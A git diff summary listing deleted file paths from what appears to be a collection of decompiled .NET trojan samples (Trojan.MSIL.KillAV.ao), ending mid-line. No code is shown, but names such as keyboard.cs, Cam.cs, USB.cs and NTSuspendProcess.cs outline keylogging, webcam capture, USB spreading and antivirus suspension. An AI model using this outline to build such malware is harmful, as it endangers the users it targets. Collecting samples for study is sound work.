MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabberCB.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISpecifyPropertyPages.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig9.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl9.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoFrameStep.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoWindow.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaSubType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PhysicalConnectorType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinCategory.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinDirection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinInfo.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/RECT.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingCapabilities.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingFlags.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/TunerInputType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMR9AspectRatioMode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode9.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VfwCompressDialogs.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoStreamConfigCaps.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/WaveFormatEx.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioCapabilities.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioSource.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/CrossbarSource.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DeviceInUseException.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DirectShowPropertyPage.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filter.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/FilterCollection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filters.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPage.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPageCollection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Source.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/SourceCollection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Tuner.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/TunerInputType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VfwCompressorPropertyPage.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VideoCapabilities.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.csproj delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.sln delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/A.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/API.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/C.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Cam.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Delegates/T/T.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/FLD.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/IND.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettings.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NK.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NTSuspendProcess.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/SocketsClient.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/USB.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/keyboard.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/sc.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettings.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/NK.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/O.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/T.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Trojan.MSIL.KillAV.ao.csproj delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Trojan.MSIL.KillAV.ao.sln delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/sk.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMMediaType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerEventType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerModeType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerSignalStrength.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerSubChannel.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AnalogVideoStandard.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AudioStreamConfigCaps.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/BitmapInfoHeader.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/CLSCTX.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Clsid.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/DsDev.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/DsDevice.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/ICreateDevEnum.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/IPropertyBag.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsBugWO.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsCAUUID.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsEvCode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsHlp.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsOptInt64.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsOptIntPtr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsPOINT.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsRECT.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsROT.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsUtils.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioAppMode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioAttr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioCaps.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioFormat.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioLangExt.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdCharSet.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdCmdFlags.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDecoderCaps.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDiscSide.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDomain.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdGraphFlags.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdMenuAttr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdMenuID.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdOptionFlag.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdPlayLocation.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdRelButton.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdRenderStatus.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdStreamFlags.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicAttr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicCoding.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicLangExt.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTimeCode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTitleAppMode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTitleAttr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdVideoAttr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdVideoCompress.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdCmd.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdControl2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdGraphBuilder.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdInfo2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdState.cs delete mode 100644 